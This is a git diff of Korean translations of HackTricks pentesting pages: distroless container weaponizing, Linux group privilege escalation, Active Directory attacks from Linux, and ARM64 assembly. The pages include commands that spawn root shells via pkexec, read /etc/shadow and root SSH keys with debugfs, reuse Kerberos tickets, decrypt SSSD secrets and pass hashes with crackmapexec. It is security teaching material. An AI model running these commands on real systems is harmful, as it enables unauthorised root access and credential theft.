Distroless 컨테이너를 무기화하는 목표는 **distroless**에 의해 암시된 **제한에도 불구하고 임의의 바이너리와 페이로드를 실행할 수 있는** 것입니다(시스템에 일반적인 바이너리가 부족함) 그리고 **읽기 전용** 또는 **실행 금지**와 같은 컨테이너에서 일반적으로 발견되는 보호 기능도 포함됩니다.
### Through memory
Coming at some point of 2023...
2023년의 어느 시점에...
### Via Existing binaries
#### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **필요\*\* by the software that is going to be running inside the container.
\***\*[**이 게시물에서,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 바이너리 **`openssl`**이 이러한 컨테이너에서 자주 발견된다고 설명되어 있으며, 이는 컨테이너 내에서 실행될 소프트웨어에 **필요하기 때문**일 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}

26
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/관리 그룹
## Sudo/Admin 그룹
### **PE - 방법 1**
@ -22,11 +22,11 @@ sudo su
```
### PE - Method 2
모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하십시오:
모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하세요:
```bash
find / -perm -4000 2>/dev/null
```
이진 파일 **pkexec가 SUID 이진 파일**인 경우 **sudo** 또는 **admin** 그룹에 속해 있다면, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\
이진 파일 **pkexec가 SUID 이진 파일**이고 **sudo** 또는 **admin** 그룹에 속한다면, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\
이는 일반적으로 이러한 그룹이 **polkit 정책** 내에 있기 때문입니다. 이 정책은 기본적으로 어떤 그룹이 `pkexec`를 사용할 수 있는지를 식별합니다. 다음을 사용하여 확인하십시오:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
@ -37,7 +37,7 @@ cat /etc/polkit-1/localauthority.conf.d/*
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
**pkexec**를 실행하려고 시도했지만 **오류**가 발생하면:
**pkexec**를 실행하려고 시도했는데 **오류**가 발생하면:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
@ -76,9 +76,9 @@ So, read the file and try to **crack some hashes**.
## Staff Group
**staff**: 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). (`/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin` 및 `/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다). 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: 사용자가 루트 권한 없이 시스템에 대한 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). `/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin` 및 `/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다. 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups)
debian 배포판에서 `$PATH` 변수는 `/usr/local/`가 특권 사용자 여부에 관계없이 가장 높은 우선 순위로 실행됨을 보여줍니다.
debian 배포판에서, `$PATH` 변수는 `/usr/local/`가 우선적으로 실행될 것임을 보여줍니다, 권한이 있는 사용자이든 아니든 상관없이.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -86,7 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루트 권한을 쉽게
`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루트를 쉽게 얻을 수 있습니다.
`run-parts` 프로그램을 탈취하는 것은 루트를 얻는 쉬운 방법입니다. 대부분의 프로그램이 (crontab, ssh 로그인 시) `run-parts`를 실행하기 때문입니다.
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -139,7 +141,7 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
debugfs를 사용하면 **파일을 쓸 수** 있다는 점에 유의하세요. 예를 들어 `/tmp/asd1.txt`를 `/tmp/asd2.txt`로 복사하려면 다음과 같이 할 수 있습니다:
debugfs를 사용하면 **파일을 쓸** 수 있다는 점에 유의하세요. 예를 들어 `/tmp/asd1.txt`를 `/tmp/asd2.txt`로 복사하려면 다음과 같이 할 수 있습니다:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
@ -148,7 +150,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
## Video Group
`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다:
`w` 명령을 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며 다음과 같은 출력을 보여줍니다:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@ -156,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다.
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 확인해야 합니다. 화면 데이터는 `/dev/fb0`에 저장할 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아내야 합니다. 화면 데이터는 `/dev/fb0`에 저장할 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -171,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size
## 루트 그룹
기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 **특히 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있는 것 같습니다. 이는 권한 상승에 사용될 수 있습니다...
기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 **권한 상승**에 사용될 수 있는 **기타 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있는 것 같습니다...
**루트 구성원이 수정할 수 있는 파일 확인**:
```bash
@ -216,7 +218,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Adm 그룹
일반적으로 **`adm`** 그룹의 **구성원**은 _/var/log/_에 위치한 **로그** 파일을 **읽을** 수 있는 권한을 가지고 있습니다.\
따라서 이 그룹 내의 사용자를 침해한 경우 **로그를 확인해야** 합니다.
따라서 이 그룹 내의 사용자를 손상시킨 경우 **로그를 확인해야** 합니다.
## Auth 그룹

22
src/linux-hardening/privilege-escalation/linux-active-directory.md
View File

@ -4,11 +4,11 @@
리눅스 머신은 Active Directory 환경 내에 존재할 수 있습니다.
AD 내의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장할 수 있습니다. 이 티켓은 다른 kerberos 티켓처럼 사용되고 남용될 수 있습니다**. 이 티켓을 읽으려면 티켓의 사용자 소유자이거나 **root**여야 합니다.
AD의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장할 수 있습니다. 이 티켓은 다른 kerberos 티켓처럼 사용되고 남용될 수 있습니다**. 이 티켓을 읽으려면 티켓의 사용자 소유자이거나 **root**여야 합니다.
## Enumeration
### 리눅스에서 AD 열거하기
### 리눅스에서 AD 열거
리눅스(또는 Windows의 bash)에서 AD에 접근할 수 있다면 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)를 사용하여 AD를 열거할 수 있습니다.
@ -20,7 +20,7 @@ AD 내의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장
### FreeIPA
FreeIPA는 Microsoft Windows **Active Directory**에 대한 오픈 소스 **대안**으로, 주로 **Unix** 환경을 위해 설계되었습니다. Active Directory와 유사한 관리 기능을 위해 완전한 **LDAP 디렉토리**와 MIT **Kerberos** 키 배포 센터를 결합합니다. CA 및 RA 인증서 관리를 위해 Dogtag **Certificate System**을 활용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다. 자세한 내용은 다음에서 확인하세요:
FreeIPA는 Microsoft Windows **Active Directory**에 대한 오픈 소스 **대안**으로, 주로 **Unix** 환경을 위해 설계되었습니다. Active Directory와 유사한 관리 기능을 위해 MIT **Kerberos** 키 배포 센터와 완전한 **LDAP 디렉토리**를 결합합니다. CA 및 RA 인증서 관리를 위한 Dogtag **Certificate System**을 활용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다. 이에 대해 더 알아보려면:
{{#ref}}
../freeipa-pentesting.md
@ -38,9 +38,9 @@ FreeIPA는 Microsoft Windows **Active Directory**에 대한 오픈 소스 **대
### /tmp에서 CCACHE 티켓 재사용
CCACHE 파일은 **Kerberos 자격 증명**을 저장하기 위한 이진 형식으로, 일반적으로 `/tmp`에 600 권한으로 저장됩니다. 이 파일은 **이름 형식 `krb5cc_%{uid}`**로 식별되며, 이는 사용자의 UID와 관련이 있습니다. 인증 티켓 검증을 위해 **환경 변수 `KRB5CCNAME`**을 원하는 티켓 파일의 경로로 설정하여 재사용할 수 있습니다.
CCACHE 파일은 **Kerberos 자격 증명**을 저장하기 위한 이진 형식으로, 일반적으로 `/tmp`에 600 권한으로 저장됩니다. 이 파일은 **이름 형식, `krb5cc_%{uid}`,**에 따라 식별할 수 있으며, 이는 사용자의 UID와 관련이 있습니다. 인증 티켓 검증을 위해 **환경 변수 `KRB5CCNAME`**을 원하는 티켓 파일의 경로로 설정하여 재사용할 수 있습니다.
`env | grep KRB5CCNAME` 명령어로 현재 인증에 사용되는 티켓을 나열합니다. 형식은 이식 가능하며, `export KRB5CCNAME=/tmp/ticket.ccache`로 환경 변수를 설정하여 티켓을 **재사용할 수 있습니다**. Kerberos 티켓 이름 형식은 `krb5cc_%{uid}`이며, 여기서 uid는 사용자 UID입니다.
`env | grep KRB5CCNAME` 명령어로 현재 인증에 사용되는 티켓을 나열합니다. 형식은 이식 가능하며, 환경 변수를 설정하여 티켓을 **재사용할 수 있습니다**: `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos 티켓 이름 형식은 `krb5cc_%{uid}`이며, 여기서 uid는 사용자 UID입니다.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -49,11 +49,11 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE 티켓 재사용 from keyring
### CCACHE 티켓 재사용 키링에서
**프로세스의 메모리에 저장된 Kerberos 티켓은 추출될 수 있습니다**, 특히 머신의 ptrace 보호가 비활성화된 경우(`/proc/sys/kernel/yama/ptrace_scope`). 이 목적을 위한 유용한 도구는 [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)에서 찾을 수 있으며, 세션에 주입하고 `/tmp`에 티켓을 덤프하여 추출을 용이하게 합니다.
이 도구를 구성하고 사용하기 위해서는 아래 단계를 따릅니다:
이 도구를 구성하고 사용하기 위해 아래 단계를 따릅니다:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
@ -62,11 +62,11 @@ make CONF=Release
```
이 절차는 다양한 세션에 주입을 시도하며, 성공 시 추출된 티켓을 `/tmp`에 `__krb_UID.ccache`라는 명명 규칙으로 저장합니다.
### SSSD KCM에서 CCACHE 티켓 재사용
### SSSD KCM의 CCACHE 티켓 재사용
SSSD는 `/var/lib/sss/secrets/secrets.ldb` 경로에 데이터베이스의 복사본을 유지합니다. 해당 키는 `/var/lib/sss/secrets/.secrets.mkey` 경로에 숨겨진 파일로 저장됩니다. 기본적으로, 키는 **root** 권한이 있는 경우에만 읽을 수 있습니다.
\*\*`SSSDKCMExtractor` \*\*를 --database 및 --key 매개변수와 함께 호출하면 데이터베이스를 구문 분석하고 **비밀을 복호화**합니다.
**`SSSDKCMExtractor`**를 --database 및 --key 매개변수와 함께 호출하면 데이터베이스를 구문 분석하고 **비밀을 복호화**합니다.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
@ -81,7 +81,7 @@ klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab에서 계정 추출
루트 권한으로 운영되는 서비스에 필수적인 서비스 계정 키는 **`/etc/krb5.keytab`** 파일에 안전하게 저장됩니다. 이러한 키는 서비스의 비밀번호와 유사하며, 엄격한 기밀성을 요구합니다.
루트 권한으로 운영되는 서비스에 필수적인 서비스 계정 키는 **`/etc/krb5.keytab`** 파일에 안전하게 저장됩니다. 이 키는 서비스의 비밀번호와 유사하며, 엄격한 기밀성을 요구합니다.
keytab 파일의 내용을 검사하기 위해 **`klist`**를 사용할 수 있습니다. 이 도구는 사용자 인증을 위한 **NT Hash**를 포함한 키 세부 정보를 표시하도록 설계되었습니다. 특히 키 유형이 23으로 식별될 때 그렇습니다.
```bash
@ -101,7 +101,7 @@ macOS에서 **`bifrost`**는 keytab 파일 분석을 위한 도구로 사용됩
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## 참고 문헌
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)

200
src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
View File

@ -4,10 +4,10 @@
## **예외 수준 - EL (ARM64v8)**
ARMv8 아키텍처에서 실행 수준은 예외 수준(EL)으로 알려져 있으며, 실행 환경의 권한 수준과 기능을 정의합니다. EL0에서 EL3까지 네 가지 예외 수준이 있으며, 각각은 다른 목적을 가지고 있습니다:
ARMv8 아키텍처에서 실행 수준은 예외 수준(EL)으로 알려져 있으며, 실행 환경의 권한 수준과 기능을 정의합니다. EL0에서 EL3까지 네 가지 예외 수준이 있으며, 각각 다른 목적을 가지고 있습니다:
1. **EL0 - 사용자 모드**:
- 가장 낮은 권한 수준으로, 일반 애플리케이션 코드를 실행하는 데 사용됩니다.
- 가장 권한이 낮은 수준으로, 일반 애플리케이션 코드를 실행하는 데 사용됩니다.
- EL0에서 실행되는 애플리케이션은 서로 및 시스템 소프트웨어와 격리되어 보안성과 안정성을 향상시킵니다.
2. **EL1 - 운영 체제 커널 모드**:
- 대부분의 운영 체제 커널은 이 수준에서 실행됩니다.
@ -16,14 +16,14 @@ ARMv8 아키텍처에서 실행 수준은 예외 수준(EL)으로 알려져 있
- 이 수준은 가상화를 위해 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리적 하드웨어에서 여러 운영 체제(각각 자신의 EL1에서 실행)를 관리할 수 있습니다.
- EL2는 가상화된 환경의 격리 및 제어 기능을 제공합니다.
4. **EL3 - 보안 모니터 모드**:
- 가장 높은 권한 수준으로, 보안 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
- 가장 권한이 높은 수준으로, 보안 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
- EL3는 보안 및 비보안 상태 간의 접근을 관리하고 제어할 수 있습니다(예: 보안 부팅, 신뢰할 수 있는 OS 등).
이러한 수준의 사용은 사용자 애플리케이션에서 가장 권한이 높은 시스템 소프트웨어에 이르기까지 시스템의 다양한 측면을 구조적이고 안전하게 관리할 수 있는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 서로 다른 시스템 구성 요소를 효과적으로 격리하는 데 도움을 주어 시스템의 보안성과 견고성을 향상시킵니다.
이러한 수준의 사용은 사용자 애플리케이션에서 가장 권한이 높은 시스템 소프트웨어에 이르기까지 시스템의 다양한 측면을 구조적이고 안전하게 관리할 수 있는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 다양한 시스템 구성 요소를 효과적으로 격리하는 데 도움을 주어 시스템의 보안성과 견고성을 향상시킵니다.
## **레지스터 (ARM64v8)**
ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적 레지스터**가 있습니다. 각 레지스터는 **64비트**(8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업의 경우, 동일한 레지스터는 w0에서 w30까지의 이름을 사용하여 32비트 모드에서 접근할 수 있습니다.
ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적 레지스터**가 있습니다. 각 레지스터는 **64비트**(8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업의 경우, 동일한 레지스터를 32비트 모드에서 `w0`에서 `w30`까지의 이름으로 접근할 수 있습니다.
1. **`x0`**에서 **`x7`** - 일반적으로 스크래치 레지스터 및 서브루틴에 매개변수를 전달하는 데 사용됩니다.
- **`x0`**는 함수의 반환 데이터를 전달합니다.
@ -35,13 +35,13 @@ ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적
6. **`x19`**에서 **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로, 스택에 저장되고 호출자에게 돌아가기 전에 복구됩니다.
7. **`x29`** - 스택 프레임을 추적하기 위한 **프레임 포인터**입니다. 함수가 호출되어 새로운 스택 프레임이 생성되면, **`x29`** 레지스터는 **스택에 저장**되고 **새로운** 프레임 포인터 주소(**`sp`** 주소)가 **이 레지스터에 저장**됩니다.
- 이 레지스터는 일반 목적 레지스터로도 사용될 수 있지만, 일반적으로 **지역 변수**에 대한 참조로 사용됩니다.
8. **`x30`** 또는 **`lr`** - **링크 레지스터**. `BL`(링크가 있는 분기) 또는 `BLR`(레지스터로 링크가 있는 분기) 명령어가 실행될 때 **반환 주소**를 보유하며, **`pc`** 값을 이 레지스터에 저장합니다.
8. **`x30`** 또는 **`lr`** - **링크 레지스터**입니다. `BL`(링크가 있는 분기) 또는 `BLR`(레지스터로 링크가 있는 분기) 명령어가 실행될 때 **`pc`** 값을 이 레지스터에 저장하여 **반환 주소**를 보유합니다.
- 다른 레지스터처럼 사용될 수도 있습니다.
- 현재 함수가 새로운 함수를 호출하고 따라서 `lr`을 덮어쓸 경우, 시작 시 스택에 저장합니다. 이것이 에필로그입니다 (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`와 `lr` 저장, 공간 생성 및 새로운 `fp` 가져오기) 및 끝에서 복구합니다. 이것이 프로롤로그입니다 (`ldp x29, x30, [sp], #48; ret` -> `fp`와 `lr` 복구 및 반환).
- 현재 함수가 새로운 함수를 호출하고 따라서 `lr`을 덮어쓸 경우, 시작 시 스택에 저장합니다. 이것이 에필로그입니다(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`와 `lr` 저장, 공간 생성 및 새로운 `fp` 가져오기) 및 끝에서 복구합니다. 이것이 프로롤로그입니다(`ldp x29, x30, [sp], #48; ret` -> `fp`와 `lr` 복구 및 반환).
9. **`sp`** - **스택 포인터**, 스택의 맨 위를 추적하는 데 사용됩니다.
- **`sp`** 값은 항상 최소한 **쿼드워드** **정렬**을 유지해야 하며, 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
10. **`pc`** - **프로그램 카운터**, 다음 명령어를 가리킵니다. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 유일한 일반 명령어는 링크가 있는 분기 명령어(BL, BLR)로, **`pc`** 주소를 **`lr`**(링크 레지스터)에 저장합니다.
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**라고도 불립니다. 제로 값을 쉽게 얻거나(일반적인 작업) **`subs`**를 사용하여 비교를 수행하는 데 사용할 수 있습니다. 예: **`subs XZR, Xn, #10`** 결과 데이터를 아무데도 저장하지 않습니다( **`xzr`**에 저장).
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**라고도 불립니다. 제로 값을 쉽게 얻거나(일반적인 작업) **`subs`**를 사용하여 비교를 수행하는 데 사용할 수 있습니다. 예: **`subs XZR, Xn, #10`**은 결과 데이터를 어디에도 저장하지 않습니다( **`xzr`**에).
**`Wn`** 레지스터는 **`Xn`** 레지스터의 **32비트** 버전입니다.
@ -51,46 +51,46 @@ ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적
### 시스템 레지스터
**수백 개의 시스템 레지스터**가 있으며, 특별 목적 레지스터(SPR)라고도 하며, **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
이들은 전용 특별 명령어 **`mrs`** 및 **`msr`**를 사용하여 읽거나 설정할 수 있습니다.
**수백 개의 시스템 레지스터**가 있으며, 이들은 특수 목적 레지스터(SPR)라고도 하며, **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
이들은 전용 특수 명령어 **`mrs`** 및 **`msr`**를 사용하여 읽거나 설정할 수 있습니다.
특별 레지스터 **`TPIDR_EL0`** 및 **`TPIDDR_EL0`**는 리버스 엔지니어링 시 일반적으로 발견됩니다. `EL0` 접미사는 레지스터에 접근할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0는 일반 프로그램이 실행되는 일반 예외(권한) 수준입니다).\
이들은 종종 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행되는 프로그램에 대해 읽기 및 쓰기가 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓸 수 있습니다(커널처럼).
특수 레지스터 **`TPIDR_EL0`** 및 **`TPIDDR_EL0`**는 리버스 엔지니어링 시 일반적으로 발견됩니다. `EL0` 접미사는 레지스터에 접근할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0는 일반 프로그램이 실행되는 정규 예외(권한) 수준입니다).\
이들은 종종 메모리의 **스레드 로컬 저장소** 영역의 기본 주소를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행되는 프로그램에 대해 읽기 및 쓰기가 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓸 수 있습니다(커널처럼).
- `mrs x0, TPIDR_EL0 ; TPIDR_EL0를 x0에 읽기`
- `mrs x0, TPIDR_EL0 ; TPIDR_EL0를 x0로 읽기`
- `msr TPIDR_EL0, X0 ; x0를 TPIDR_EL0에 쓰기`
### **PSTATE**
**PSTATE**는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특별 레지스터에 직렬화된 여러 프로세스 구성 요소를 포함하고 있으며, X는 트리거된 예외의 **권한** **수준**을 나타냅니다(이는 예외가 끝날 때 프로세스 상태를 복구할 수 있게 합니다).\
**PSTATE**는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터에 직렬화된 여러 프로세스 구성 요소를 포함하고 있으며, X는 트리거된 예외의 **권한** **수준**을 나타냅니다(이는 예외가 끝날 때 프로세스 상태를 복구할 수 있게 합니다).\
접근 가능한 필드는 다음과 같습니다:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
- **`N`**, **`Z`**, **`C`** 및 **`V`** 조건 플래그:
- **`N`**은 연산이 음수 결과를 산출했음을 의미합니다.
- **`Z`**는 연산이 0을 산출했음을 의미합니다.
- **`C`**는 연산이 캐리되었음을 의미합니다.
- **`V`**는 연산이 부호 오버플로우를 산출했음을 의미합니다:
- 두 개의 양수의 합이 음수 결과를 산출합니다.
- 두 개의 음수의 합이 양수 결과를 산출합니다.
- 뺄셈에서 큰 음수를 작은 양수에서 빼거나(또는 그 반대의 경우) 결과가 주어진 비트 크기 범위 내에서 표현될 수 없는 경우.
- 명백히 프로세서는 연산이 부호가 있는지 없는지를 알 수 없으므로, 연산에서 C와 V를 확인하고 부호가 있는지 없는지에 따라 캐리가 발생했음을 나타냅니다.
- **`N`**은 연산이 음수 결과를 낳았음을 의미합니다.
- **`Z`**는 연산이 0을 낳았음을 의미합니다.
- **`C`**는 연산이 캐리를 발생시켰음을 의미합니다.
- **`V`**는 연산이 부호 오버플로우를 발생시켰음을 의미합니다:
- 두 개의 양수의 합이 음수 결과를 낳습니다.
- 두 개의 음수의 합이 양수 결과를 낳습니다.
- 뺄셈에서 큰 음수를 작은 양수에서 빼거나 그 반대의 경우, 결과가 주어진 비트 크기 범위 내에서 표현될 수 없습니다.
- 명백히 프로세서는 연산이 부호가 있는지 없는지를 알 수 없으므로, 연산에서 C와 V를 확인하고 부호가 있거나 없을 경우 캐리가 발생했음을 나타냅니다.
> [!WARNING]
> 모든 명령어가 이러한 플래그를 업데이트하는 것은 아닙니다. **`CMP`** 또는 **`TST`**와 같은 일부는 업데이트하며, **`ADDS`**와 같은 s 접미사가 있는 다른 명령어도 업데이트합니다.
- 현재 **레지스터 너비(`nRW`) 플래그**: 플래그가 0 값을 가지면 프로그램이 재개될 때 AArch64 실행 상태에서 실행됩니다.
- 현재 **예외 수준**(**`EL`**): EL0에서 실행되는 일반 프로그램은 값 0을 가집니다.
- **단일 스텝** 플래그(**`SS`**): 디버거가 예외를 통해 **`SPSR_ELx`** 내에서 SS 플래그를 1로 설정하여 단일 스텝을 수행하는 데 사용됩니다. 프로그램은 한 단계를 실행하고 단일 스텝 예외를 발생시킵니다.
- **불법 예외** 상태 플래그(**`IL`**): 권한 있는 소프트웨어가 잘못된 예외 수준 전환을 수행할 때 표시하는 데 사용되며, 이 플래그는 1로 설정되고 프로세서는 불법 상태 예외를 트리거합니다.
- **`DAIF`** 플래그: 이러한 플래그는 권한 있는 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있게 합니다.
- **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청**(IRQ)에 응답하도록 구성합니다. F는 **빠른 인터럽트 요청**(FIR)과 관련이 있습니다.
- **스택 포인터 선택** 플래그(**`SPS`**): EL1 이상에서 실행되는 권한 있는 프로그램은 자신의 스택 포인터 레지스터와 사용자 모델 스택 포인터 간에 전환할 수 있습니다(예: `SP_EL1`과 `EL0` 간). 이 전환은 **`SPSel`** 특별 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 수행할 수 없습니다.
- 현재 **예외 수준**(**`EL`**): EL0에서 실행되는 일반 프로그램은 값이 0입니다.
- **단일 스텝** 플래그(**`SS`**): 디버거가 예외를 통해 **`SPSR_ELx`** 내에서 SS 플래그를 1로 설정하여 단일 스텝을 수행하는 데 사용됩니다. 프로그램은 한 스텝을 실행하고 단일 스텝 예외를 발생시킵니다.
- **불법 예외** 상태 플래그(**`IL`**): 권한 있는 소프트웨어가 잘못된 예외 수준 전환을 수행할 때 표시하는 데 사용되며, 이 플래그는 1로 설정되고 프로세서는 불법 상태 예외를 발생시킵니다.
- **`DAIF`** 플래그: 이 플래그는 권한 있는 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있게 합니다.
- **`A`**가 1이면 **비동기 중단**이 발생함을 의미합니다. **`I`**는 외부 하드웨어 **인터럽트 요청**(IRQ)에 응답하도록 구성합니다. F는 **빠른 인터럽트 요청**(FIR)과 관련이 있습니다.
- **스택 포인터 선택** 플래그(**`SPS`**): EL1 이상에서 실행되는 권한 있는 프로그램은 자신의 스택 포인터 레지스터와 사용자 모델 스택 포인터 간에 전환할 수 있습니다(예: `SP_EL1`과 `EL0` 간). 이 전환은 **`SPSel`** 특수 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 수행할 수 없습니다.
## **호출 규약 (ARM64v8)**
ARM64 호출 규약은 함수에 대한 **첫 번째 여덟 개 매개변수**가 레지스터 **`x0`**에서 **`x7`**까지 전달된다고 명시합니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 반환되거나, **128비트 길이**인 경우 **`x1`**에도 반환됩니다. **`x19`**에서 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
ARM64 호출 규약은 함수에 대한 **첫 번째 여덟 개 매개변수**가 레지스터 **`x0`**에서 **`x7`**까지 전달된다고 명시합니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 전달되며, **128비트 길이**인 경우 **`x1`**에도 전달됩니다. **`x19`**에서 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
어셈블리에서 함수를 읽을 때는 **함수 프로롤로그 및 에필로그**를 찾아야 합니다. **프로롤로그**는 일반적으로 **프레임 포인터(`x29`) 저장**, **새로운 프레임 포인터 설정**, 및 **스택 공간 할당**을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터 복원** 및 **함수에서 반환**하는 것을 포함합니다.
